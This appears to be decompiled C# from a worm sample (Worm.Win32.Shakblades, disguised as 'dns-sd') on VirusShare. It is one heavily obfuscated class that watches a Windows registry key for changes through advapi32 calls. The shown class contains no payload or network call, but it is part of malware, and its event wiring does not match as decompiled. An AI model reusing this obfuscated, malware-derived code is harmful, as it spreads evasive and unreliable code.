// Decompiled with JetBrains decompiler
// Type: Ҧ߲๒ʽ໙ୄᴘ.ᘽƭ
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe

using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;

namespace Ҧ߲๒ʽ໙ୄᴘ
{
  public class ᘽƭ : IDisposable
  {
    private const int ሜኯᴭၚ໓ম\u1B7Eıᗝ = 1;
    private const int \u0D58Ꮈೇ\u00AEႍ = 16;
    private const int \u08D2ᰆ = 131072;
    private static readonly IntPtr ốኯՕằቜ\u0FC9ˡ = new IntPtr(int.MinValue);
    private static readonly IntPtr ᄉǹ\u05FFఔ = new IntPtr(-2147483647);
    private static readonly IntPtr \u1C31᪱ࢢ = new IntPtr(-2147483646);
    private static readonly IntPtr ምࢨញഥ = new IntPtr(-2147483645);
    private static readonly IntPtr ৰ\u139Fᙇ = new IntPtr(-2147483644);
    private static readonly IntPtr yଳጻഷቝ = new IntPtr(-2147483643);
    private static readonly IntPtr \u176D᧒ޢਕೆጾૐ = new IntPtr(-2147483642);
    private IntPtr \u0029Ѽ\u09D1ᚻ\u08BFჶ;
    private string ˣཐᛮ;
    private object ϒ\u0EDBไᏧ\u0CC5ᒎႛᬛ = new object();
    private Thread ݍࠗ\u0B98\u0FF8᳡ષρᎻ;
    private ManualResetEvent \u08F1ᤜᬯ = new ManualResetEvent(false);
    private \u187Bȸº᭰\u09FC Ẏᛑደ = \u187Bȸº᭰\u09FC.ഴᏮ\u18ABٞᴑ\u1C96ᦁྌᚳ | \u187Bȸº᭰\u09FC.ᰃ | \u187Bȸº᭰\u09FC.ཅ\u000A | \u187Bȸº᭰\u09FC.ẟᛗᚕ\u0C11ᘾ;

    public ᘽƭ(RegistryKey registryKey) => this.\u05F8ᨅ᩵۷ኝ᭯(registryKey.Name);

    public ᘽƭ(string name) => this.\u05F8ᨅ᩵۷ኝ᭯(name);

    public ᘽƭ(RegistryHive registryHive, string subKey) => this.ᳶ\u1A8Cˉၕᖁ\u001Eඹᶋ(registryHive, subKey);

    [DllImport("advapi32.dll", EntryPoint = "RegOpenKeyEx", SetLastError = true)]
    private static extern int ᴊזى\u0C70\u0DCE\u0DF4(
      IntPtr _param0,
      string _param1,
      uint ᅾፂÇ៌ڔᶷॠᯊ,
      int _param3,
      out IntPtr _param4);

    [DllImport("advapi32.dll", EntryPoint = "RegNotifyChangeKeyValue", SetLastError = true)]
    private static extern int \u0731ᄦѧ\u08D2װ\u002Fᇣ(
      IntPtr _param0,
      bool _param1,
      \u187Bȸº᭰\u09FC _param2,
      IntPtr _param3,
      bool _param4);

    [DllImport("advapi32.dll", EntryPoint = "RegCloseKey", SetLastError = true)]
    private static extern int ᦍ\u0008Տ\u0DF9ទƕ\u02FD(IntPtr _param0);

    public event EventHandler ဧŕᬐ\u0AD4߭;

    protected virtual void OnRegChanged()
    {
      EventHandler eventHandler = this.\u0BF1;
      if (eventHandler == null)
        return;
      eventHandler((object) this, (EventArgs) null);
    }

    public event ErrorEventHandler ᑂϦڢྜƘ;

    protected virtual void OnError(Exception e)
    {
    }

    public void Dispose()
    {
      this.ᑺᆊᥖᅁỸਇয\u191F();
      GC.SuppressFinalize((object) this);
    }

    public \u187Bȸº᭰\u09FC ܜᛓѕଢ਼֨᳑ᐱ
    {
      get => this.Ẏᛑደ;
      set
      {
        lock (this.ϒ\u0EDBไᏧ\u0CC5ᒎႛᬛ)
          this.Ẏᛑደ = value;
      }
    }

    private void ᳶ\u1A8Cˉၕᖁ\u001Eඹᶋ(RegistryHive ᜥᡉԭᒧך, string ධᜁᄜᅩᖙᙜ)
    {
      switch (ᜥᡉԭᒧך)
      {
        case RegistryHive.ClassesRoot:
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ốኯՕằቜ\u0FC9ˡ;
          break;
        case RegistryHive.CurrentUser:
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ᄉǹ\u05FFఔ;
          break;
        case RegistryHive.LocalMachine:
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.\u1C31᪱ࢢ;
          break;
        case RegistryHive.Users:
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ምࢨញഥ;
          break;
        case RegistryHive.PerformanceData:
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ৰ\u139Fᙇ;
          break;
        case RegistryHive.CurrentConfig:
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.yଳጻഷቝ;
          break;
        case RegistryHive.DynData:
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.\u176D᧒ޢਕೆጾૐ;
          break;
      }
      this.ˣཐᛮ = ධᜁᄜᅩᖙᙜ;
    }

    private void \u05F8ᨅ᩵۷ኝ᭯(string _param1)
    {
      string[] strArray = _param1.Split('\\');
      switch (strArray[0])
      {
        case "HKEY_CLASSES_ROOT":
        case "HKCR":
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ốኯՕằቜ\u0FC9ˡ;
          break;
        case "HKEY_CURRENT_USER":
        case "HKCU":
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ᄉǹ\u05FFఔ;
          break;
        case "HKEY_LOCAL_MACHINE":
        case "HKLM":
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.\u1C31᪱ࢢ;
          break;
        case "HKEY_USERS":
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.ምࢨញഥ;
          break;
        case "HKEY_CURRENT_CONFIG":
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = ᘽƭ.yଳጻഷቝ;
          break;
        default:
          this.\u0029Ѽ\u09D1ᚻ\u08BFჶ = IntPtr.Zero;
          break;
      }
      this.ˣཐᛮ = string.Join("\\", strArray, 1, strArray.Length - 1);
    }

    public bool Ꮹ᷄ᡊ\u008Dᐳᆉܳ => this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ != null;

    public void ůߝᨍ()
    {
      lock (this.ϒ\u0EDBไᏧ\u0CC5ᒎႛᬛ)
      {
        if (this.Ꮹ᷄ᡊ\u008Dᐳᆉܳ)
          return;
        this.\u08F1ᤜᬯ.Reset();
        this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ = new Thread(new ThreadStart(this.ဖཀྵ\u0F02̢᠗Ôଚ᭗ɭ));
        this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ.IsBackground = true;
        this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ.Start();
      }
    }

    public void ᑺᆊᥖᅁỸਇয\u191F()
    {
      lock (this.ϒ\u0EDBไᏧ\u0CC5ᒎႛᬛ)
      {
        Thread ݍࠗ᳡ષρᎻ = this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ;
        if (ݍࠗ᳡ષρᎻ == null)
          return;
        this.\u08F1ᤜᬯ.Set();
        ݍࠗ᳡ષρᎻ.Join();
      }
    }

    private void ဖཀྵ\u0F02̢᠗Ôଚ᭗ɭ()
    {
      try
      {
        this.ۺ៝\u05BE᭬ქ();
      }
      catch (Exception ex)
      {
        this.OnError(ex);
      }
      this.ݍࠗ\u0B98\u0FF8᳡ષρᎻ = (Thread) null;
    }

    private void ۺ៝\u05BE᭬ქ()
    {
      IntPtr num;
      int error1 = ᘽƭ.ᴊזى\u0C70\u0DCE\u0DF4(this.\u0029Ѽ\u09D1ᚻ\u08BFჶ, this.ˣཐᛮ, 0U, 131089, out num);
      if (error1 != 0)
        throw new Win32Exception(error1);
      try
      {
        AutoResetEvent autoResetEvent = new AutoResetEvent(false);
        WaitHandle[] waitHandles = new WaitHandle[2]
        {
          (WaitHandle) autoResetEvent,
          (WaitHandle) this.\u08F1ᤜᬯ
        };
        while (!this.\u08F1ᤜᬯ.WaitOne(0, true))
        {
          int error2 = ᘽƭ.\u0731ᄦѧ\u08D2װ\u002Fᇣ(num, true, this.Ẏᛑደ, autoResetEvent.SafeWaitHandle.DangerousGetHandle(), true);
          if (error2 != 0)
            throw new Win32Exception(error2);
          if (WaitHandle.WaitAny(waitHandles) == 0)
            this.OnRegChanged();
        }
      }
      finally
      {
        if (num != IntPtr.Zero)
          ᘽƭ.ᦍ\u0008Տ\u0DF9ទƕ\u02FD(num);
      }
    }
  }
}